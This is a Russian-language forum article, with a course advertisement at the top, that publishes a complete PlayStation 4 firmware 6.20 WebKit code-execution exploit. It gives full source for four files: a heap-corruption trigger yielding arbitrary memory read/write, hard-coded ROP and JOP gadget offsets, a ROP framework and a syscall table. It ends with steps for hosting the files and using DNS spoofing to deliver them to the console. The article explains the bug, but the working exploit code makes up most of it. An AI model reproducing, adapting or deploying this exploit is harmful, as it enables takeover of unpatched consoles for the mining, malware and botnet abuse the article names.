• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья Sony Playstation 4 (PS4) < 6.20 - WebKit Code Execution

Доброго времени суток форумчане. Как и обещал написал для вас статью про удалённое выполнение кода через WebKit в PlayStation4.
В этой статье мы разберём эксплоит и уязвимость.
Уязвимость очень опасна так как злоумышленник может захватить управление над вашим устройством не в вашу пользу, например майнить на нём или заразить малварью для последующих действий с вашим и другими заражёнными устройсвтами. Чаще всего это спам, брутфорс и дудос.

30734


Поехали!

Эксплойт предназначенный для PlayStation 4 на прошивке 6.20. Эксплойт сначала устанавливает произвольный примитив чтения/записи, а также произвольную утечку адреса объекта в `wkexploit.js'. Затем он настроит фреймворк для запуска цепочек ROP в `index.html` и по умолчанию будет предоставить две ссылки для запуска теста ROP цепи - одна для запуска `sys_getpid() системный вызов, а другой для запуска `sys_getuid()` системный вызов чтобы получить идентификатор процесса и идентификатор пользователя процесса соответственно.
Эксплоит использует переполнение кучи(heap overflow) и создание виртуальных объектов и вызывая путаницу и WebKit воспринимает их как настоящие объекты

Файлы в алфавитном порядке:
* `index.html` - содержит пост-эксплойт, идущий от arb. R / W -> выполнение кода.
* `rop.js` - Contains a framework for ROP chains.
* `syscalls.js` - содержит (неполный)список системных вызовов для использования после эксплойта.
* `wkexploit.js` - содержит сердце эксплойта WebKit.

index.html:

HTML:
<html>
<head>
    <title>PS4 6.20 WebKit Exploit</title>
    <script src="wkexploit.js"></script>
    <script src="rop.js"></script>
    <script src="syscalls.js"></script>

    <style>
        h1 {
            overflow: hidden;
            position: fixed;
            position: absolute;
            top: 40%;
            left: 50%;
            transform: translate(-50%, -50%);
        }
    </style>
</head>
<body>
    <script>

        function debug(str)
        {
            document.getElementById("debug").innerHTML += str + "<br />";
        }

        function print(str)
        {
            debug(str);
        }

        window.postExploit = function(p)
        {
            debug("---------- Phase 3: Userland Code Execution ----------")
            window.nogc = [];
            window.syscalls    = {};

            p.debugDumpAndSend = function(addr, size)
            {
                var numElem    = size / 4;
                var dataToSend = new Uint32Array(numElem);

                for(var i = 0; i < numElem; i++)
                    dataToSend[i] = p.read4(addr.add32(i * 4)).low;

                debugSendData(dataToSend);
            }

            p.malloc = function(size)
            {
                var backing = new Uint8Array(size);
                window.nogc.push(backing);

                var ptr = p.read8(p.leakval(backing).add32(0x10));
                ptr.backing = backing;

                return ptr;
            }

            p.malloc32 = function(size)
            {
                var backing = new Uint8Array(size*4);
                window.nogc.push(backing);

                var ptr = p.read8(p.leakval(backing).add32(0x10));
                ptr.backing = new Uint32Array(backing);

                return ptr;
            }

            var get_jmptgt = function (addr)
            {
                var z = p.read4(addr).low & 0xffff;
                var y = p.read4(addr.add32(2)).low;
                if (z != 0x25ff)
                    return 0;
                return p.read8(addr.add32(y + 6));
            };

            try
            {

                var textArea = document.createElement("textarea");
                var textAreaVtPtr  = p.read8(p.leakval(textArea).add32(0x18));
                var textAreaVtable = p.read8(textAreaVtPtr);
                var webKitBase     = textAreaVtable.sub32(0x2265DE8);
                webKitBase.low    &= 0xFFFFC000;

                textArea.rows = 0x41424344;

                debug("Found WebKit Base: 0x" + webKitBase.toString(16));

                // Find libkernel + libc base
                var libKernelBase  = get_jmptgt(webKitBase.add32(0xC8));
                libKernelBase.sub32inplace(0x2D4A0);

                debug("Found LibKernel Base: 0x" + libKernelBase.toString(16));

                var libSceLibcBase = get_jmptgt(webKitBase.add32(0xE8));
                libSceLibcBase.sub32inplace(0xB4AD0);

                debug("Found Libc Base: 0x" + libSceLibcBase.toString(16));


                var gadgetcache = {
                    "ret":      0x0000003C,
                    "infloop":  0x00299B01,

                    "pop rdi":  0x0009E67D,
                    "pop rsi":  0x000756CB,
                    "pop rdx":  0x002516B2,
                    "pop rcx":  0x000348D3,
                    "pop r8":   0x00079211,
                    "pop r9":   0x000CDB41,
                    "pop rax":  0x00075BDF,
                    "pop rbp":  0x000000B6,
                    "pop rsp":  0x00075D9A,

                    "mov rax, rdi":     0x00008CD0,
                    "mov rdx, rdi":     0x006271FE,
                    "mov rax, rdx":     0x0007BC20,
                    "mov rax, [rax]":   0x0002DC22,
                    "mov [rdi], rsi":   0x00034EF0,
                    "mov [rdi], rax":   0x0001FB49,
                    "mov [rax], rdi":   0x017629A7,
                    "mov [rax], rsi":   0x0133139D,
                    "mov rdx, [rcx]":   0x001848F4,

                    "add rax, rcx":     0x0018E2D0,
                    "add rax, rsi":     0x013F9533,
                    "and rax, rcx":     0x00108B63,

                    "jmp rdi": 0x000A2EA6,
                };

                var longJmpOffset  = 0xC1818;   // libc offset
                var setJmpOffset   = 0xC179C;   // libc offset
                var JOPGadgetOne   = 0x6A9D0E;  // webkit offset
                var JOPGadgetTwo   = 0x18CD2D;  // webkit offset
                var JOPGadgetThree = 0xCA74C2;  // webkit offset
                var errnoOffset    = 0x893F0;   // libkernel offset

                window.gadgets = {};

                for(var gadgetname in gadgetcache)
                {
                    if(gadgetcache.hasOwnProperty(gadgetname))
                    {
                        window.gadgets[gadgetname] = webKitBase.add32(gadgetcache[gadgetname]);
                    }
                }

                var vtableSize = 0x6E8 / 4;
                var fakeVtable = new Uint32Array(vtableSize);
                var originalVt = new Uint32Array(vtableSize);
                var context    = p.malloc(0x100);
                var jopBuf     = p.malloc(0x1000);
                var longJmpBuf = p.malloc(0x1000);

                var fakeVtableAddr = p.read8(p.leakval(fakeVtable).add32(0x10));
                var originalVtAddr = p.read8(p.leakval(originalVt).add32(0x10));


                for(var i = 0; i < vtableSize; i++)
                {
                    fakeVtable[i] = p.read4(textAreaVtable.add32(i * 4)).low;
                    originalVt[i] = fakeVtable[i];
                }

                // webKitBase.add32(0x299B01) = infloop
                p.launchchain = function(ropObj)
                {
                    var ropStack    = ropObj.stack;

                    ropObj.push(window.gadgets["pop rdx"]);
                    ropObj.push(context);
                    ropObj.push(libSceLibcBase.add32(longJmpOffset)); // longjmp


                    fakeVtable[0x77] = libSceLibcBase.add32(setJmpOffset).hi; // setjmp
                    fakeVtable[0x76] = libSceLibcBase.add32(setJmpOffset).low;

                    p.write8(textAreaVtPtr, fakeVtableAddr);


                    textArea.scrollLeft = 0x0;


                    for(var i = 0; i < 0x100; i += 8)
                    {
                        p.write8(context.add32(i), p.read8(textAreaVtPtr.add32(i)));
                    }



                    // JOP chain:
                    //
                    // JOP gadget 1: mov rax, qword [rdi+0x00000700] ; call qword [rax]
                    // JOP gadget 2: mov rbx, qword [rax+0x000009A0] ; call qword [rax+0x998]
                    // JOP gadget 3: mov rdx, rbx ; call qword [rax+0x10]


                    p.write8(jopBuf.add32(0x00), webKitBase.add32(JOPGadgetTwo));    // JOP gadget 2 - 0x18CD2D
                    p.write8(jopBuf.add32(0x9A0), longJmpBuf);                   
                    p.write8(jopBuf.add32(0x998), webKitBase.add32(JOPGadgetThree));   // JOP gadget 3 - 0xCA74C2
                    p.write8(jopBuf.add32(0x10), libSceLibcBase.add32(longJmpOffset)); // Call longjmp
                    for(var i = 0; i < 0x100; i += 8)
                    {
                        p.write8(longJmpBuf.add32(i), p.read8(context.add32(i)));
                    }

                    p.write8(longJmpBuf.add32(0x00), window.gadgets["ret"]);
                    p.write8(longJmpBuf.add32(0x10), ropStack); // RSP = ropStack
                    p.write8(longJmpBuf.add32(0x18), ropStack); // RBP = ropStack

                    fakeVtable[0x77] = webKitBase.add32(JOPGadgetOne).hi;  // JOP gadget 1
                    fakeVtable[0x76] = webKitBase.add32(JOPGadgetOne).low;

                    p.write8(textAreaVtPtr, fakeVtableAddr);
                    p.write8(textAreaVtPtr.add32(0x700), jopBuf);

                    textArea.scrollLeft = 0x0;


                    for(var i = 0; i < (vtableSize * 4); i += 8)
                    {
                        p.write8(textAreaVtPtr.add32(i), p.read8(originalVtAddr.add32(i)));
                    }
                };

                window.p = p;


                var kview = new Uint8Array(0x1000);
                var kstr = p.leakval(kview).add32(0x10);
                var orig_kview_buf = p.read8(kstr);
                
                p.write8(kstr, libKernelBase);
                p.write4(kstr.add32(8), 0x40000);

                var countbytes;

                for (var i=0; i < 0x40000; i++)
                {
                    if (kview[i] == 0x72 && kview[i+1] == 0x64 && kview[i+2] == 0x6c && kview[i+3] == 0x6f && kview[i+4] == 0x63)
                    {
                        countbytes = i;
                        break;
                    }
                }

                p.write4(kstr.add32(8), countbytes + 32);
                
                var dview32 = new Uint32Array(1);
                var dview8 = new Uint8Array(dview32.buffer);
                
                for (var i=0; i < countbytes; i++)
                {
                    if (kview[i] == 0x48 && kview[i+1] == 0xc7 && kview[i+2] == 0xc0 && kview[i+7] == 0x49 && kview[i+8] == 0x89 && kview[i+9] == 0xca && kview[i+10] == 0x0f && kview[i+11] == 0x05)
                    {
                        dview8[0] = kview[i+3];
                        dview8[1] = kview[i+4];
                        dview8[2] = kview[i+5];
                        dview8[3] = kview[i+6];
                        var syscallno = dview32[0];
                        window.syscalls[syscallno] = libKernelBase.add32(i);
                    }
                }


                var chain = new rop();

                p.call = function(rip, rdi, rsi, rdx, rcx, r8, r9)
                {
                    chain.clear();

                    chain.fcall(rip, rdi, rsi, rdx, rcx, r8, r9);


                    chain.push(window.gadgets["pop rdi"]);
                    chain.push(chain.retbuf);
                    chain.push(window.gadgets["mov [rdi], rax"]);

                    chain.run();

                    return p.read8(chain.retbuf);
                };

                p.syscall = function(sysc, rdi, rsi, rdx, rcx, r8, r9)
                {
                    if (typeof sysc == "string")
                    {
                        sysc = window.syscallnames[sysc];
                    }

                    if (typeof sysc != "number")
                    {
                        throw new Error("invalid syscall");
                    }

                    var off = window.syscalls[sysc];

                    if (off == undefined)
                    {
                        throw new Error("invalid syscall");
                    }

                    return p.call(off, rdi, rsi, rdx, rcx, r8, r9);
                };

                p.stringify = function (str) {
                    var bufView = new Uint8Array(str.length + 1);
                    for (var i = 0; i < str.length; i++) {
                        bufView[i] = str.charCodeAt(i) & 0xFF;
                    }
                    window.nogc.push(bufView);
                    return p.read8(p.leakval(bufView).add32(0x10));
                };

                p.writeString = function (addr, str)
                {
                    for (var i = 0; i < str.length; i++)
                    {
                        var byte = p.read4(addr.add32(i));
                        byte &= 0xFFFF0000;
                        byte |= str.charCodeAt(i);
                        p.write4(addr.add32(i), byte);
                    }
                }

                p.readString = function (addr) {
                    var byte = p.read4(addr).low;
                    var str  = "";

                    while (byte & 0xFF)
                    {
                        str += String.fromCharCode(byte & 0xFF);
                        addr.add32inplace(1);
                        byte = p.read4(addr).low;
                    }
                    return str;
                }


                var errno = libKernelBase.add32(0x893F0);
                p.write8(errno, 0);



                debug("---------- Test: sys_getuid + sys_getpid ----------")

                debug("<b>sys_getpid(): 0x" + p.syscall("sys_getpid") + "</b>");
                debug("<b>sys_getuid(): 0x" + p.syscall("sys_getuid") + "</b>");
            } catch(e) {
                 alert("Exception: " + e);
            }
        }

        window.onload = function() {
            document.getElementById("go").innerHTML = '<a href="javascript:main()">GO</a>';
        };
    </script>
    
    <pre id="debug"></pre>
</body>
</html>

* Краткий обзор стратегии эксплойта выполнения кода...
*
* Кажется, Sony сделала некоторые довольно интересные изменения в WebKit между прошивками 5.0 x и 6.0 x.
* Таким образом, бывший метод qwertyoruiop используется для получения выполнения
* через перезапись указатель функции parseFloat () не сразу сработал, поэтому я переключился на другую стратегию.
*
* Этот эксплойт предназначен для vtable объекта TextArea DOM-метод scrollLeft() в частности. Разбив scrollLeft()
* указатель функции для того чтобы указать к этой из цепи JOP, мы можем установить строчки кода вверх для того чтобы поскакать в ROP. Подробнее о том, как это работает, см.
* линии 193-256. Для гаджетов для портирования на старые прошивки будут интересны линии 133-168.
*
* Если вы не портируете, вы должны добавить свои собственные строчки кода после строки 383.

rop.js:
JavaScript:
var rop = function() {
    this.stack  = p.malloc(0x5000);
    this.retbuf = p.malloc(0x8);
    this.count  = 1;

    p.write8(this.stack, 0x1337);

    this.clear = function() {
        this.count = 1;

        for(var i = 1; i < 0xFF0 / 2; i++)
            p.write8(this.stack.add32(i * 8), 0);
    };

    this.push = function(val) {
        p.write8(this.stack.add32(this.count * 8), val);
        this.count++;
    };

    this.push_write8 = function(addr, val) {
        this.push(gadgets["pop rdi"]);
        this.push(addr);
        this.push(gadgets["pop rsi"]);
        this.push(val);
        this.push(gadgets["mov [rdi], rsi"]);
    };

    this.fcall = function(rip, rdi, rsi, rdx, rcx, r8, r9) {
        if(rdi != undefined)
        {
            this.push(gadgets["pop rdi"]);
            this.push(rdi);
        }

        if(rsi != undefined)
        {
            this.push(gadgets["pop rsi"]);
            this.push(rsi);
        }

        if(rdx != undefined)
        {
            this.push(gadgets["pop rdx"]);
            this.push(rdx);
        }

        if(rcx != undefined)
        {
            this.push(gadgets["pop rcx"]);
            this.push(rcx);
        }

        if(r8 != undefined)
        {
            this.push(gadgets["pop r8"]);
            this.push(r8);
        }

        if(r9 != undefined)
        {
            this.push(gadgets["pop r9"]);
            this.push(r9);
        }

        this.push(rip);
        return this;
    };

    this.run = function() {
        var retv = p.launchchain(this);
        this.clear();

        return retv;
    };

    return this;
};
* Этот файл содержит фреймворк для запуска цепочек ROP. Вам, вероятно, не нужно будет ничего редактировать здесь
* если вам не нужно переключать гаджеты на новые.

syscalls.js:
JavaScript:
window.nameforsyscall = swapkeyval(window.syscallnames);

function swapkeyval(json){
    var ret = {};

    for(var key in json){
        if (json.hasOwnProperty(key)) {
            ret[json[key]] = key;
        }
    }

    return ret;
}


window.syscallnames =
{
    "sys_exit": 1,
    "sys_fork": 2,
    "sys_read": 3,
    "sys_write": 4,
    "sys_open": 5,
    "sys_close": 6,
    "sys_wait4": 7,
    "sys_unlink": 10,
    "sys_chdir": 12,
    "sys_chmod": 15,
    "sys_getpid": 20,
    "sys_setuid": 23,
    "sys_getuid": 24,

    "sys_stat": 38,

    "sys_pipe": 42,

    "sys_getgid": 47,
    "sys_getlogin": 49,
    "sys_setlogin": 50,

    "sys_ioctl": 54,

    "sys_munmap": 73,

    "sys_socket": 97,
    "sys_connect": 98,

    "sys_send": 101,
    "sys_recv": 102,
    "sys_bind": 104,
    "sys_setsockopt": 105,
    "sys_listen": 106,
    "sys_recvmsg": 113,
    "sys_sendmsg": 114,

    "sys_mkdir": 136,
    "sys_rmdir": 137,

    "sys_fstat": 189,
    "sys_lstat": 190,

    "sys_getdents": 272,

    "sys_mmap": 477,
    "sys_lseek": 478,
};
* Этот файл содержит (неполный)список системных вызовов для пост-эксплойта.
* Много из системных вызовов отсутствуют, поэтому не стесняйтесь, добавляйте которые вам нужны.
* Я не включил более полный список, потому что слишком много вызовов влияет на эксплойт и его стабильность.

wkexploit.js:
JavaScript:
var structs = [];

function zeroFill(number, width)
{
    width -= number.toString().length;

    if (width > 0)
    {
        return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
    }

    return number + "";
}

try
{
    var sprayMax = 0x400;

    var conversionBuf = new ArrayBuffer(0x100);
    var u32 = new Uint32Array(conversionBuf);
    var f64 = new Float64Array(conversionBuf);

    function int64(low, hi) {
        this.low = (low >>> 0);
        this.hi = (hi >>> 0);

        this.add32inplace = function (val) {
            var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
            var new_hi = (this.hi >>> 0);

            if (new_lo < this.low) {
                new_hi++;
            }

            this.hi = new_hi;
            this.low = new_lo;
        }

        this.add32 = function (val) {
            var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
            var new_hi = (this.hi >>> 0);

            if (new_lo < this.low) {
                new_hi++;
            }

            return new int64(new_lo, new_hi);
        }

        this.sub32 = function (val) {
            var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
            var new_hi = (this.hi >>> 0);

            if (new_lo > (this.low) & 0xFFFFFFFF) {
                new_hi--;
            }

            return new int64(new_lo, new_hi);
        }

        this.sub32inplace = function (val) {
            var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
            var new_hi = (this.hi >>> 0);

            if (new_lo > (this.low) & 0xFFFFFFFF) {
                new_hi--;
            }

            this.hi = new_hi;
            this.low = new_lo;
        }

        this.and32 = function (val) {
            var new_lo = this.low & val;
            var new_hi = this.hi;
            return new int64(new_lo, new_hi);
        }

        this.and64 = function (vallo, valhi) {
            var new_lo = this.low & vallo;
            var new_hi = this.hi & valhi;
            return new int64(new_lo, new_hi);
        }

        this.toString = function (val) {
            val = 16;
            var lo_str = (this.low >>> 0).toString(val);
            var hi_str = (this.hi >>> 0).toString(val);

            if (this.hi == 0)
                return lo_str;
            else
                lo_str = zeroFill(lo_str, 8)

            return hi_str + lo_str;
        }

        this.toPacked = function () {
            return {
                hi: this.hi,
                low: this.low
            };
        }

        this.setPacked = function (pck) {
            this.hi = pck.hi;
            this.low = pck.low;
            return this;
        }

        return this;
    }

    function u2d(low, hi)
    {
        u32[0] = low;
        u32[1] = hi;

        return f64[0];
    }

    function d2u(val)
    {
        f64[0] = val;

        var retval = new int64(u32[0], u32[1]);

        return retval;
    }

    function main()
    {
        document.getElementById("go").style.display = 'none';

        debug("---------- Phase 1: Obtaining Relative R/W Primitive ----------");

        var arr = [1];

        arr.length = 0x100000;
        arr.splice(0, 0x11);

        arr.length = 0xfffffff0;


        var targetButterflies = [];

        for (var i = 0; i < sprayMax; i++)
        {
            targetButterflies[i] = [];

            targetButterflies[i].p0 = 0.0;
            targetButterflies[i].p1 = 0.1;
            targetButterflies[i].p2 = 0.2;
            targetButterflies[i].p3 = 0.3;
            targetButterflies[i].p4 = 0.4;
            targetButterflies[i].p5 = 0.5;
            targetButterflies[i].p6 = 0.6;
            targetButterflies[i].p7 = 0.7;
            targetButterflies[i].p8 = 0.8;
            targetButterflies[i].p9 = 0.9;

            for (var k = 0; k < 0x10; k++)
            {
                targetButterflies[i][k] = u2d(0x7FFFFFFF, 0x7FEFFFFF);
            }
        }

        arr.splice(0x1000, 0x0, 1);

        var targetIdx = -1;

        for (var i = 0; i < sprayMax; i++)
        {
            if (targetButterflies[i].length != 0x10)
            {

                targetIdx = i;
                break;
            }
        }

        if (targetIdx == -1)
        {
            alert("[-] Failed to find smashed butterfly.");
            return;
        }

        var oobDoubleArr = targetButterflies[targetIdx];

        debug("---------- Phase 2: Obtaining Arbitrary R/W Primitive ----------");


        var primitiveSpray = [];

        for (var i = 0; i < 0x800; i++)
        {
            primitiveSpray[i] = [];

            for (var k = 0; k < 0x10; k++)
            {
                primitiveSpray[i].p0 = u2d(0x13371337, 0x0);
                primitiveSpray[i].p1 = u2d(0x13371337, 0x0);
                primitiveSpray[i].p2 = u2d(0x13371337, 0x0);
                primitiveSpray[i].p3 = u2d(0x13371337, 0x0);
                primitiveSpray[i].p4 = u2d(0x13371337, 0x0);
                primitiveSpray[i].p5 = u2d(0x13371337, 0x0);
                primitiveSpray[i].p6 = u2d(0x13371337, 0x0);
                primitiveSpray[i].p7 = u2d(0x13371337, 0x0);
                primitiveSpray[i].p8 = u2d(0x13371337, 0x0);
                primitiveSpray[i].p9 = u2d(0x13371337, 0x0);

                if(k == 0)
                    primitiveSpray[i][k] = 13.37;
                else
                    primitiveSpray[i][k] = {};
            }
        }

        var leakAndFakePrimIdx   = -1;
        var leakAndFakeDoubleIdx = -1;
        var foundPrimitive = false;

        for (var i = 0; i < 0x5000; i++)
        {
            var lookupIdx = 0x65000 + i;
            var oldVal    = oobDoubleArr[lookupIdx];

            if (oldVal == undefined)
                continue;

            oobDoubleArr[lookupIdx] = u2d(0x00001337, 0x0);

            for (var k = 0; k < 0x800; k++)
            {
                if(primitiveSpray[k].length != 0x10)
                {

                    foundPrimitive       = true;
                    leakAndFakePrimIdx   = k;
                    leakAndFakeDoubleIdx = lookupIdx;

                    oobDoubleArr[lookupIdx] = oldVal;

                    for(var test = 0; test < 0x10; test++)
                    {
                        f64[0] = oobDoubleArr[lookupIdx+test];
                    }

                    break;
                }
            }

            if(foundPrimitive)
                break;

            oobDoubleArr[lookupIdx] = oldVal;
        }

        var slave = new Uint32Array(0x1000);

        slave[0] = 0x13371337;

        var leakTgt = {a: 0, b: 0, c: 0, d: 0};
        leakTgt.a   = slave;

        primitiveSpray[leakAndFakePrimIdx][1] = leakTgt;

        var leakTargetAddr = oobDoubleArr[leakAndFakeDoubleIdx+2];
        var leakTargetAddrInt64 = d2u(leakTargetAddr);

        for (var i = 0; i < 0x100; i++)
        {
            var a = new Uint32Array(1);
            a[Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5)] = 1337;
            structs.push(a);
        }

        var rwTgt = {a: 0, b: 0, c: 0, d: 0};

        rwTgt.a   = u2d(0x00000200, 0x1602300);
        rwTgt.b   = 0;
        rwTgt.c   = slave;
        rwTgt.d   = 0x1337;

        primitiveSpray[leakAndFakePrimIdx][1] = rwTgt;

        var rwTargetAddr = oobDoubleArr[leakAndFakeDoubleIdx+2];
        var rwTargetAddrInt64 = d2u(rwTargetAddr);



        rwTargetAddrInt64 = rwTargetAddrInt64.add32(0x10);

        oobDoubleArr[leakAndFakeDoubleIdx+2] = u2d(rwTargetAddrInt64.low, rwTargetAddrInt64.hi);
        var master = primitiveSpray[leakAndFakePrimIdx][1];

        var addrOfSlave = new int64(master[4], master[5]);


        var prim = {
            read8: function(addr)
            {
                master[4] = addr.low;
                master[5] = addr.hi;

                var retval = new int64(slave[0], slave[1]);

                return retval;
            },

            read4: function(addr)
            {
                master[4] = addr.low;
                master[5] = addr.hi;

                var retval = new int64(slave[0], 0);

                return retval;
            },

            write8: function(addr, val)
            {
                master[4] = addr.low;
                master[5] = addr.hi;

                if (val instanceof int64) {
                    slave[0] = val.low;
                    slave[1] = val.hi;
                } else {
                    slave[0] = val;
                    slave[1] = 0;
                }
            },

            write4: function(addr, val)
            {
                master[4] = addr.low;
                master[5] = addr.hi;

                slave[0]  = val;
            },

            leakval: function(jsval)
            {
                leakTgt.a = jsval;

                return prim.read8(leakTargetAddrInt64.add32(0x10));
            }
        };

        window.postExploit(prim);
    }
} catch (e) { alert(e); }
* Эксплойт использует ошибку JSArray:: shiftCountWithArrayStorage, найденную в
* lokihardt. Из-за ошибочной логики, по сути, ошибка позволяет нам сдвигать произвольную сумму
* из QWORDS (64-разрядных целых чисел) вниз на 8 байт. Через какую-то heap feng shui с настройкой цели
* butterflies, это в конечном итоге приводит к объекту ArrayWithDoubles с очень большим размером,
* позволяет нам писать за пределы массива. Используя это, мы можем написать в
* ArrayWithContiguous (массив объектов) для внедрения поддельных объектов JavaScript и утечки адреса
* реальных объектов JavaScript, вызывая путаницу типов во встроенных слотах.
* С возможностью создавать поддельные объекты, которые АО считает реальными, мы можем создавать собственные массивы
* и изменить, где они указывают на внутренне, давая нам произвольное чтение/запись. С возможностью
* утечкой адресов реальных объектов, мы можем эффективно найти любой объект, который мы хотим в памяти для выполнение кода.

Эксплуатирование(основное):
Установите веб-сервер, размещающий эти файлы на localhost с помощью xampp или любой другой программы по вашему выбору. Кроме того, вы можете разместить его на сервере. Вы можете получить доступ к нему на PS4 либо;

1) поддельный DNS-спуфинг для перенаправления страницы руководства на страницу эксплойта или

2) использование веб-браузера для перехода на страницу эксплойта (не всегда возможно).

* Эта уязвимость была исправлена в прошивке 6.50!
* Это дает вам только выполнение кода в **системе**. Это * * не * * джейлбрейк или эксплойт ядра, это только первая половина.
* Этот эксплойт предназначен для прошивки 6.20. Он должен работать на более низких прошивках, однако гаджеты должны быть портированы, и " p.launchchain() ' для выполнения кода может потребоваться замена.
* В моих тестах эксплойт как есть довольно стабилен, но он может стать менее стабильным, если вы добавите много объектов и т. д. В эксплойт. Это одна из причин, почему `syscalls.js ' содержит только небольшое количество системных вызовов.

Спасибо за прочтение моей статьи. Статья получилась большой и муторной, но думаю вам она понравилась.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!